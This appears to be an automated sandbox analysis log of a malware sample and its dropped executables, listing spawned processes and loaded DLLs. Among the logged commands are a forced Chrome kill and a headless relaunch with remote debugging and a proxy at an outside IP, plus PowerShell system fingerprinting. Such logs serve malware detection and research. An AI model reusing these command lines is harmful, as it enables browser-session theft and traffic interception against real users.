Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Process chrome \| Stop-Process -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs"	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --proxy-server=http://45.150.223.100:65140 --noerrdialogs --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --mojo-platform-channel-handle=2216 --field-trial-handle=1968,i,13464842929730428422,1671638957188183847,262144 --disable-features=PaintHolding /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\notepad.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo "d42706bf42e64bbdfe3696dd11d9bad4.vbs"	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\notepad.exe"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"

Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: umpdc.dll	Jump to behavior
